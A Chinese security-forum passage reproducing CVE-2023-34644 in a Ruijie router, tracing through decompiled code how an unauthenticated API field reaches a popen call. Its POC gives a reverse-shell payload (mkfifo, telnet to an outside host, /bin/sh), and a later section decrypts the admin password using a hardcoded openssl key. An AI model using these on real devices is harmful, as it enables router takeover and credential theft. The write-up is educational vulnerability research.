    v5 = uf_cmd_call(*v4, v4 + 1);//关键函数
......
  }
}

从uf_cmd_call函数开始

uf_cmd_call 函数执行的地方打上断点,c 过来之后是如下界面,此时输入命令 set scheduler-locking on 将线程锁定(避免后续调试时,在各个线程中下的断点跳来跳去,之后只调试这一个线程)

image-20230829161715801

由于 uf_cmd_call 函数的代码量太长了,这里就不再出示相关代码,只调试和描述几个关键点

image-20230829163240216

首先做了 if 判断,检查操作类型,因为我们这里是 devSta2,所以这个 if 进不去(调试界面如下图)

image-20230829163146277

上面的 if 出来后,就会做这里的判断,这里的 v2devSta.set 中的 set 部分,uf_ex_cmd_type 数组里装了各种操作的字符串例如 set get 之类的,数组里第一个元素就是 set,所以这个 while 进不去

image-20230829170100754

调试界面如下

image-20230829171103707

后面的执行流转折点为 if(!v16) 这里

image-20230829172302135

这个 a1+45 的位置当时解析的时候有一个标志位(如下图),但这个 from_url 并没有特别设置,所以这里就为 0 ,导致进入了 if(!v16) ,执行跳转语句 goto LABEL_86

image-20230829172452094

`

if ( !v103[20] ) 位置的判断,这里的 v103[20] 其实就是 data 字段的值

image-20230829164105564

调试界面如下,因为 !v103[20]FALSE ,所以这个 if 进不去

image-20230829164439766

if ( !v103[7] ) 位置做了判断,调试可知 v103[7]2 ,因此 if 这里进不去,随后直接触发 goto LABEL_174goto LABEL_175

image-20230830095922837

goto LABEL_175 继续往下分析,在 416 的位置 if 进不去,然后通过调试 435 行这里的 if 可以进来

image-20230830100751735

438 行做的检查,判断了偏移 48 的位置是否为 1 ,回顾字段解析的位置可以发现,我们是可以控制这里的值为 1 的(满足下图的条件即可)

image-20230830102023155

但我没控制这个字段,调试过来发现偏移 48 的位置仍然是 1 ,可能是之前某处代码设置了这个位置的值(调试界面如下图),总之这个 if 进不去

image-20230830102517726

由于上面的 if 进不去,那么出来之后直接到了 489 行的位置,此时已经能看到接下来必定会触发 ufm_handle 函数(v103 指向了 uf_cmd_call 函数的参数 a1 ,也就是上文一直提到的存储解析字段的结构体)

image-20230830102817582

命令执行前夕

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall ufm_handle(int a1)
{
  v2 = *(const char **)(a1 + 8);
  v4 = *(_DWORD *)(a1 + 20);
  v5 = *(_DWORD *)(a1 + 56);
  if ( !v2 || !*v2 )//这里是*(a1+8) 为0,并不是(int)(*a1)+8  开始分析的时候我以为这里检查的是module字段
    goto LABEL_185;//这里会跳转
  v7 = 0;
  if ( remote_call(*(_DWORD **)a1, (const char **)(a1 + 88)) == 2 )
  {
LABEL_185:
    if ( !strcmp(v5, "group_change") || !strcmp(v5, "network") || !strcmp(v5, "network_group") )//v5是module的值  为networkId_merge  因此这个if进不去
      sub_40E498(v6);
    v8 = strcmp(v4, "get");//v4是set
    if ( !v8 )//这个if进不去
    {
......
    }
    if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") )//这里比较set是会通过检查
    {
      v29 = sub_40FD5C(a1);//触发关键函数
......
    }

sub_40FD5C 函数关键代码分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall sub_40FD5C(int a1)
{
  memset(v52, 0, sizeof(v52));
  v2 = *(_BYTE **)(a1 + 80);// v2是data字段的值
  if ( !v2 || !*v2 )
    return -1;
  v3 = *(_DWORD *)(a1 + 28);// v3是2(devSta所导致的)
  v4 = v3 < 2;//因为v3是2,所以这里的判断是FALSE v4为0
  if ( v3 )
  {
    v5 = json_object_object_get(*(_DWORD *)(a1 + 92), "sn");// 因为sn字段为空,所以下面的if进入,触发goto LABEL_45
    if ( !v5 )
      goto LABEL_45;
......  
LABEL_45:
          v3 = *(_DWORD *)(a1 + 28);
          goto LABEL_46;
......
LABEL_46:
      v4 = v3 < 2;
      goto LABEL_47;
......
LABEL_47:
  if ( v4 )//经过三次跳转后,对v4做判断,因为v4为0 会触发下面的else
  {
......
  }
  else
  {
    if ( v3 != 2 )//v3是2,所以这个if进不去
    {
......
    }
    v18 = sub_40CEAC(a1, a1 + 88, 0, 0);//触发关键函数
......
  }
  return v18;
}

sub_40CEAC 函数的分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
if ( *(_BYTE *)(*a1 + 46) )
    return 0;
  v5 = *(_DWORD *)(*a1 + 4);
  if ( strcmp(v5, "commit") )//v5是set,这里判断的是不为commit则进入if,所以这两个if都能进入
  {
    if ( strcmp(v5, "init") )
    {
      if ( !a4 && !a1[7] )//a4是固定的0,但是a1[7]的值为2,导致了这个if进不去
      {
.......
      }
    }
  }
  gettimeofday(&v90, 0);
  v19 = a1[24];
  if ( !*(_DWORD *)(v19 + 160) )
  {
    if ( !is_module_support_lua(a1[24], (int)a1) )
    {
      v63 = a1[20];//v63为data字段的值
      if ( v63 )
        v64 = strlen(v63);
      else
        v64 = 0;
......
      if ( a3 )//a3是固定的0
      {
......
      }
      else if ( a4 )//a4也是固定的0
      {
......
      }
      else
      {
        v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));//这里其实也是正常的命令拼接 a1[5]是set,v67+8是 networkId_merge
        v71 = (const char *)a1[20];//v71是data字段的值
        v72 = &v66[v70];
        if ( v71 )//如果data字段的值存在的话,执行下面的拼接
          v72 += snprintf(&v66[v70], v68, " '%s'", v71);//这里存在了命令注入,data字段的值为我们可控,造成了任意命令拼接到原本的字符串上
        v73 = a1[21];
        if ( v73 )
          snprintf(v72, v68, " %s", v73);
      }
......
      v74 = *(_DWORD *)(*a1 + 4);
      v75 = strcmp(v74, "set");
      v76 = *((unsigned __int8 *)a1 + 19);
      if ( (!v75 || !strcmp(v74, 0x41FBF4) || a3) && *((_BYTE *)a1 + 4) )
      {
......
      }
      else
      {
        v18 = ufm_commit_add(0, v66, 0, a2);//此处的v66是上面拼接后的最终命令
      }

ufm_commit_add 函数最开始直接调用了 async_cmd_push_queue 函数,下面对该函数进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
  v3 = a3;
......
  memset(v6, 0, 68);
  if ( !a1 )//a1是传入进来的0
  {
    if ( a2 )//a2是注入的命令字符串
    {
      v19 = strdup(a2);                         // 会走到这里
      *(_DWORD *)(v7 + 28) = v19;//将命令存储到偏移28的位置,这里比较重要
      if ( v19 )
        goto LABEL_34;                          // 会从这里跳转
......       
    }
  }
......
LABEL_34:
  v20 = (_DWORD *)dword_435DE0;
  *(_DWORD *)(v7 + 60) = &commit_task_head;
  dword_435DE0 = v7 + 60;
  v21 = dword_4360A4;
  *(_DWORD *)(v7 + 64) = v20;
  *v20 = v7 + 60;
  dword_4360A4 = v21 + 1;
  *(_BYTE *)(v7 + 32) = v3;
  if ( !v3 )
    sem_init(v7 + 36, 0, 0);
  pthread_mutex_unlock(&unk_4360B8);
  sem_post(&unk_4360A8);//这里将信号量加上了1,意味着其他地方应该是有sem_wait阻塞了一个线程的执行
  return v7;
}

切换线程-命令执行

对信号量 unk_4360A8 进行交叉引用,定位到了 sub_41AFC8 函数。只要上面的代码执行sem_post 将该信号量加一,那么这个线程就能继续运行,从而调用 sub_41ADF0 函数(调试这里需要取消线程锁定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn sub_41AFC8(int a1)
{
......
  while ( 1 )
  {
    do
    {
      sem_wait(&unk_4360A8);
......
    }
    while ( !v4 );
......
    sub_41ADF0(v4);
......
  }
}

下面对 sub_41ADF0 函数做简单的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall sub_41ADF0(_DWORD *a1)
{
  v1 = *a1;
  if ( *a1 )//为0 进不去这个if
  {
......  
  }
  else
  {
    if ( !*((_BYTE *)a1 + 32) )//*((_BYTE *)a1 + 32)为0,可以进入if
    {
      result = ufm_popen((const char *)a1[7], a1 + 13);//这个a1[7],也就是偏移28的位置,上文中提到最后拼接的命令就被写入了一个结构体偏移28的位置,因此这里触发命令执行,且没有做任何过滤
      v3 = a1;
      goto LABEL_9;
    }
  }
  return result;
}

image-20230830151703071

POC

/cgi-bin/luci/api/auth 路径发送 POST 报文,即可在未授权的情况下拿到路由器的最高权限

1
2
3
4
5
6
{
    "method": "merge",
    "params": {
        "sorry": "'$(mkfifo /tmp/test;telnet 192.168.45.66 6666 0</tmp/test|/bin/sh > /tmp/test)'"
    }
}

攻击演示

image-20230831145405109

image-20230831145508255

上面对 lua 文件以及二进制文件的调用链进行了分析和调试,下面记录下在分析过程中自己产生的疑问以及自己探究出的答案

疑问&&解决

deal_remote_config_handle函数是怎么被触发的

uf_cmd_task_init 函数中,调用了 create_thread 函数,该函数调用了 pthread_create 函数来创建一个新的线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall create_thread(int a1)
{
  int result; // $v0
 
  result = pthread_create();
  if ( result )
  {
    *(_BYTE *)(a1 + 13) = 0;
    result = -1;
  }
  else
  {
    *(_BYTE *)(a1 + 13) = 1;
  }
  return result;
}

直接看 IDA 发现 create_thread 函数中并没有参数,但是该函数的定义如下

1
2
int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
                   void *(*start_routine)(void *), void *arg);

其中标明了第三个参数(寄存器应该为 $a2)是新线程的执行入口函数,判断出这里是 IDA 的显示问题,分析汇编代码查看 pthread_create 函数的第三个参数

1
2
3
4
5
6
7
8
9
10
11
12
LOAD:0040BE64                 li      $gp, (dword_4358A0+0x7FF0 - .)
LOAD:0040BE6C                 addu    $gp, $t9
LOAD:0040BE70                 addiu   $sp, -0x20
LOAD:0040BE74                 la      $t9, pthread_create
LOAD:0040BE78                 lw      $a2, 4($a0)
LOAD:0040BE7C                 move    $a1, $zero
LOAD:0040BE80                 sw      $s0, 0x18+var_s0($sp)
LOAD:0040BE84                 sw      $gp, 0x18+var_8($sp)
LOAD:0040BE88                 sw      $ra, 0x18+var_s4($sp)
LOAD:0040BE8C                 move    $a3, $a0
LOAD:0040BE90                 jalr    $t9 ; pthread_create
LOAD:0040BE94                 move    $s0, $a0

发现有指令 lw $a2, 4($a0) $a0create_thread 函数的实参,这里是将 $a04 的位置赋值给了 $a2 ,交叉引用发现 deal_remote_config_handle 函数地址最终就是 pthread_create 函数的第三个参数

1
2
*(_DWORD *)(v10 + 4) = deal_remote_config_handle;
if ( create_thread(v10) )

所以判断 deal_remote_config_handle 函数是在 uf_cmd_task_init 新创建的线程中当做入口函数来执行的

用户没有传入数据时,进程在哪里被阻塞了?

IDA 中有如下代码,这里从其他进程中读取了用户输入的数据,如果在 uf_socket_msg_read 函数执行前后分别打下断点的话,按几次 c 后发现,调试界面就会卡到 uf_socket_msg_read 函数执行后的界面

1
v51 = (_DWORD *)uf_socket_msg_read(*v29, v31 + 1);

我最初一直以为是 uf_socket_msg_read 函数如果没有接收到数据,就会阻塞,直到接收新的数据。但这样的话,应该是卡到了 uf_socket_msg_read 函数执行时,并非是卡到了 uf_socket_msg_read 函数执行后。卡到了执行后其实就是卡到的是下一次 uf_socket_msg_read 函数执行前。因此就推翻了我原先的认知,为了寻找具体是哪里将进程阻塞,我下了大量的断点,逐步缩小范围,最终找到了 while ( select(fbss + 1, g_fd_set, 0, 0, 0) <= 0 );

1
int select(int nfds, fd_set *readfds, fd_set *writefds,fd_set *exceptfds, struct timeval *timeout);

select 函数允许程序监视多个文件描述符,等待所监视的一个或者多个文件描述符变为 “准备就绪” 的状态。所谓的 ”准备就绪“ 状态是指:文件描述符不再是阻塞状态,可以用于某类IO操作了,包括可读,可写,发生异常三种。在 select 函数调用之后,如果返回值大于 0 ,表示至少有一个文件描述符 “准备就绪” ,程序中的 select 函数监视的是是否有文件描述符变成可读(也就是有数据可以读取),如果 timeout == NULL ,会无期限的等待下去,这个等待可以被一个信号中断,只有当一个描述符准备好,或者捕获到一个信号时函数才会返回。如果是捕获到信号,select 返回 -1 ,并将变量errno 设置成 EINTR

验证的话,只需要在 select(fbss + 1, g_fd_set, 0, 0, 0) 代码执行前后打上断点,发现确实卡在了 select 函数执行时,当用户发送报文后,代码就可以继续往后执行了,因为 select 函数已经确定了有文件描述符变成了可读,所以后面的 uf_socket_msg_read 函数可以顺利接收到用户传入的数据。至此确定卡住进程的并不是 uf_socket_msg_read 函数,而是 select 函数

从deal_remote_config_handle函数如何执行到uf_cmd_call函数

我把 uf_cmd_call 函数当做正式调用链的入口,通过调试可以得知 uf_cmd_call 函数是在 deal_remote_config_handle 中被调用的

image-20230829102836486

但这里并非是顺序执行代码,正常触发 uf_cmd_call

deal_remote_config_handle 函数刚执行时就会在下面的循环卡住

1
2
3
4
5
6
7
do
{
  *(_DWORD *)(a1 + 16) = 0;
  v3 = uf_task_remote_pop_queue();
  *(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );

uf_task_remote_pop_queue 函数开始执行了 sem_wait(&unk_435E90) ,这里表示在等待一个信号量,如果信号量的值大于零,则将信号量的值减一,然后继续执行;如果信号量的值为零,则进程(或线程)将被阻塞,直到信号量的值大于零。通过调试的话能发现,实际造成线程卡住的代码就是 sem_wait ,这就说明肯定有一个地方还没有触发相应信号量的 sem_post 操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int uf_task_remote_pop_queue()
{
  int v0; // $s0
 
  sem_wait(&unk_435E90);
  pthread_mutex_lock(&unk_435E74);
  if ( (int *)cmd_task_remote_head == &cmd_task_remote_head )
  {
    v0 = 0;
  }
  else
  {
    v0 = cmd_task_remote_head - 4;
    sub_40B620((_DWORD *)cmd_task_remote_head);
  }
  pthread_mutex_unlock(&unk_435E74);
  return v0;
}

接下来对信号量进行交叉引用,sub_40B0B0 中确实是一个 sem_post(&unk_435E90) 的操作,然后 uf_task_remote_pop_queue 也就是下图的位置 sem_wait(&unk_435E90),最后的 uf_cmd_task_init 函数中是 sem_init(&unk_435E90, 0, 0)

image-20230829104446429

根据上面的分析可知,只有 sub_40B0B0 函数存在 sem_post(&unk_435E90) ,因此下面要追踪 sub_40B0B0 函数的调用链,对其交叉引用发现在 sub_40B304 函数进行了调用

图片描述

至此都是正常的分析思路,接下来应该继续对 sub_40B304 函数进行交叉引用,但这里 IDA 就对我的分析产生了误导,通过下图得知,应该是只有一个叫做 uf_lock_cmd_pop_all 的函数调用了 sub_40B304

image-20230829105258147

查看 uf_lock_cmd_pop_all 函数代码,发现确实是进行了调用

image-20230829105440844

但如果继续跟 uf_lock_cmd_pop_all 这条链的话,最后就发现这条链在 main 函数的触发太靠前了,实际上改变信号量触发 uf_cmd_call 的操作一定是要在接收用户数据之后做的。并且可以用 gdb 验证,只需要在 sub_40B0B0 函数下一个断点,在 uf_lock_cmd_pop_all 函数下一个断点,最后发现程序没有在 uf_lock_cmd_pop_all 函数处断下来,而在 sub_40B0B0 断下来了。

因此得出结论,除去 uf_lock_cmd_pop_all 函数,一定还有一条链也可以触发 sub_40B0B0 函数,而这个链通过 IDA 的交叉引用并没有看到 (在实际我分析这里时,我其实分析和调试了很久才做出了这个判断,因为有怀疑过 gdbbug,有怀疑过是我调用链没分析明白,但最后通过分析和调试逐一排除了这些推断)也有一点运气使然,我后续无意翻看代码时,在位于 add_pkg_cmd2_task 函数中,我看到了 sub_40B304 函数,该函数是 sub_40B0B0 上级函数。

因此还有一条链也能改变信号量,如下

1
main => add_pkg_cmd2_task => sub_40B304 => sub_40B0B0 => sem_post(&unk_435E90)

能发现这条链的原因有三个,第一是这条调用链不深(如果 add_pkg_cmd2_task 函数调用了三四层函数才到 sub_40B304 ,大概率也很难找到),第二是我当时将函数重命名了(我写本文的时候将 sub_40B304 sub_40B0B0 函数改回了 IDA 默认的名称,不过在我分析的时候,我对这些关键的调用函数都做了重命名,可以一眼看到这类函数,否则用默认名字,长的差不多的情况下,也不一定能注意到),第三是坚持(这个调用链的问题,我整整分析了一天,虽然结论只是 IDA 有点问题,但这个误导以及摆脱误导的过程是困难且有意义的,如果不是 winmt 师傅让我对细节的坚持,或许我早已放弃这一个小小的信号量分析)

scp命令报错解决

在使用 scp 命令传输的时候,报错如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  204 sudo scp squashfs-root.tar.gz root@192.168.45.66:/root/204.tar.gz
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending RSA key in /root/.ssh/known_hosts:6
  remove with:
  ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66"
RSA host key for 192.168.45.66 has changed and you have requested strict checking.
Host key verification failed.
lost connection

产生这个错误的原因是因为 SSH 密钥认证的安全机制, SSH 使用密钥来确保通信的安全性和身份认证,每台 SSH 服务器都有一个公钥和私钥。当第一次连接到 SSH 服务器上时,服务器会生成一对密钥,将公钥发给客户端,这个公钥会保存在客户端本地的 known_hosts 文件中,当以后连接到同一个服务器的时候,客户端会检查服务器发送过来的公钥是否和 known_hosts 文件中的公钥匹配,如果匹配,连接就会被建立,如果不匹配(可能受到了中间人攻击或者服务器密钥已更改),就会出现如上报错。

解决方法:执行 ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66" 命令,它将删除 known_hosts 文件中与服务器 IP 地址 192.168.45.66 相关的密钥记录。然后重新执行 scp 命令进行文件传输,这样 SSH 客户端会检测到新的主机密钥,并将其添加到已知主机列表中(known_hosts 文件)

图片描述

后续利用

拿到路由器的最高权限后,也有一些后续的利用。比如拿管理员后台密码,劫持流量(抓取未加密的数据),修改 ARP 缓存表等等。因为本人只是一个正在学习相关知识的学生,对大部分的利用并不成熟,目前只记录拿到管理员后台密码的分析,后续如果有其他方面的进展,也会将细节进行补充

拿到管理员后台密码

在登录锐捷管理员后台的时候随便输入一个密码,点击登录

image-20230909122721847

Burp 拦截请求,发现下面的报文中 methodlogin

image-20230909123105750

这里的路径为 /api/auth ,根据代码 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false 可知会触发 rpc_auth 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

jsonrpc.handle(_tbl, http.source()) 代码中,会根据 method 的值调用 noauth.lua 文件中对应的函数(具体的调用链参考上文 lua文件代码分析),这里就会调用 login 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function login(params)
    local disp = require("luci.dispatcher")
    local common = require("luci.modules.common")
    local tool = require("luci.utils.tool")
    if params.password and tool.includeXxs(params.password) then
        tool.eweblog("INVALID DATA", "LOGIN FAILED")
        return
    end
    local authOk
    local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
    tool.eweblog(ua, "LOGIN UA")
    local checkStat = {
        password = params.password,
        username = "admin", -- params.username,
        encry = params.encry,
        limit = params.limit
    }
    local authres, reason = tool.checkPasswd(checkStat)
    local log_opt = {username = params.username, level = "auth.notice"}
    if authres then
        authOk = disp.writeSid("admin")
        -- 手动登录时设置时间
        if params.time and tonumber(params.time) then
            common.setSysTime({time = params.time})
        end
        log_opt.action = "login-success"
    else
        log_opt.action = "login-fail"
    end
    tool.write_log(log_opt)
    return authOk
end

上面的代码中,我们关注下检查密码的函数 checkPasswd (它的参数是一个叫做 checkStat 的表,其中包含了前端传入的加密后的密码),该函数定义在 luci/utils/tool 文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 检测密码是否正确
function checkPasswd(checkStat)
    local cmd = require("luci.modules.cmd")
    local _data = {
        type = checkStat.encry and "enc" or "noenc",
        password = checkStat.password,
        name = checkStat.username,
        limit = checkStat.limit and "true" or nil
    }
    local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
    if type(_check) == "table" and _check.result == "success" then
        return true
    end
    return false, _check.reason
end

关键触发点是 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})

lua 文件中的代码 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data}) 执行后,会走到 unifyframe-sgi.elf 文件中,最后将 /usr/sbin/module_call get adminCheck 命令执行(这里的 a1[5] 代表操作符 get(v67+8)module 字段的值 adminCheck

1
2
3
4
5
6
7
8
9
10
        v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));
        v71 = (const char *)a1[20];
        v72 = &v66[v70];
        if ( v71 )
          v72 += snprintf(&v66[v70], v68, " '%s'", v71);
        v73 = a1[21];
        if ( v73 )
          snprintf(v72, v68, " %s", v73);
......
ufm_commit_add(0, v66, 1u, 0)//然后切换到其他线程上将 v66 命令给执行

下面来分析 /usr/sbin/module_call 文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/bin/sh
ROM_AC_CONFIG_DIR="/rom/etc/rg_config/global/"
ROM_DEV_CONFIG_DIR="/rom/etc/rg_config/single/"
RG_CONFIG_TMP_DIR="/tmp/rg_config/"
cmd="$1"
module="$2"
param="$3"
path="$4"
register_module() {
    local module=$1
    local module_file
     
    module_file="/usr/bin/$module"
    if [ -f "$module_file" ]; then
        . "$module_file"
    else
        return 1
    fi
    return 0
}
 
module_init() {
......
}
 
get_default() {
......
}
 
register_module "$module"
if [ $? = 1 ]; then
    return 1
fi
 
for arg in $* ;do
    if [ "$arg" == "-n" ];then
        not_change_configId=$arg
    fi
done
 
case "$cmd" in
    set|add|del|update|apply) ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null;;
    getDefault)    get_default "$module" "$param";;
    get)  ${module}_get "${param}";;
    *)      ;;
esac

cmd="$1" module="$2" 这里将字符串 getadminCheck 分别赋给了 cmd module 变量

首先执行了 register_module "$module" ,简单分析一下 register_module 可知其在判断 /usr/bin/adminCheck 文件是否存在,如果不存在的话 module_call 文件的执行就结束了,存在的话对 /usr/bin/adminCheck 模块进行加载(将该文件中的代码合并到当前 shell 进程中,从而加载了函数和变量)

随后调用了 for 循环,来遍历脚本的命令行参数是否有 -n (当前分析的这个链并没有),最终关键代码为下面的 case 语句,如果匹配到了 set add del update appley 中的任何一个,就会执行 ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null 也就是 adminCheck_get 2> /dev/null

adminCheck_get/usr/bin/adminCheck 文件中的函数,主要作用是调用了函数 adminCheck_parse ,其关键的代码部分如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
json_get_var password "password"
......
local ciphertext=$(cat /etc/rg_config/admin)   
local passwd_old=`deenc "$ciphertext"`
......
if [ "$passwd_old" = "$password" ]
......
 
deenc()
{
    local passwd=$1
    echo "$passwd"| /usr/sbin/rg_crypto dec -t C
 
}

通过上面的代码可知,管理员后台密码加密后存放在 /etc/rg_config/admin 文件中,直接执行 echo "$passwd"| /usr/sbin/rg_crypto dec -t C 命令就能得到解密后的管理员后台密码。

下面用真机演示一下(我用的设备型号是 EW1200G-PRO ,软件版本是 EW_3.0(1)B11P25,Release(07162402)) ,我看了一下这个 /usr/bin/adminCheck 的文件,发现它的解密和上面并不一样,这里执行的应该是 echo "$passwd"| openssl enc -aes-256-cbc -d -a -k "RjYkhwzx\$2018!"

image-20230912105245882

最后执行命令如下,得到管理员密码为 88888888

image-20230912105533075

尾声

对于 CVE-2023-34644 的复现结束了,这个漏洞的复现从开始到结束历经了一个多月(与此同时还有 CVE-2023-38902 的研究)。期间碰到了很多奇怪的报错以及思考时产生的疑问,比起 CVE-2023-20073 的复现,这次自己进行了更多的思考。再次要特别感谢 winmt 师傅,关于 CVE-2023-34644 的大部分关键点其实 winmt 已经写的很详细了。但是在复现的过程中,对于我这个初学者来说,依然有很多的问题感到一知半解,有不少地方经过尝试后依然没有思路,都想得过且过,认为此处理解的不透彻也并不影响整体的分析。可在细节上得过且过,真的在独立的漏洞挖掘中有所高质量的产出么?扪心自问,我不认为会有高质量的产出。比如在上文提到的信号量触发 uf_cmd_call 函数,不追踪到底的话,我只知道有个地方肯定操作了信号量导致了 uf_cmd_call 执行,但具体是哪里操作的信号量呢?IDA 显示不完整的情况下,探究的过程并不容易。如果不知道具体哪里操作的信号量,我就不能说完全弄清了整个的漏洞调用链,那复现一个漏洞连完整的触发调用链都没搞清,那复现的意义到底是什么呢?在复现的过程中都是一知半解,那在真实环境下进行独立的漏洞挖掘,找漏洞又何从谈起呢,甚至于找到了漏洞,但是连怎么走到漏洞点都分析不明白。感谢 winmt 多次 “push” ,让我没有得过且过。对于学习而言,可能比起当前暂时领先于常人的能力和知识而言,对 产生的问题始终保持好奇 和 “再试一次”的精神 更为重要和难得。

参考文章

https://bbs.kanxue.com/thread277386.htm#msg_header_h2_4

https://blog.csdn.net/zujipi8736/article/details/86606093


[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2023-9-13 08:04 被ZIKH26编辑 ,原因:
收藏
点赞7
打赏
分享
最新回复 (3)
雪    币: 11321
活跃值: (14065)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-9-12 15:26
2
0
感谢分享
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
trunk 2023-9-12 22:48
3
0
太强了吧
雪    币: 14809
活跃值: (15141)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-9-13 09:21
4
1
感谢分享
游客
登录 | 注册 方可回帖
返回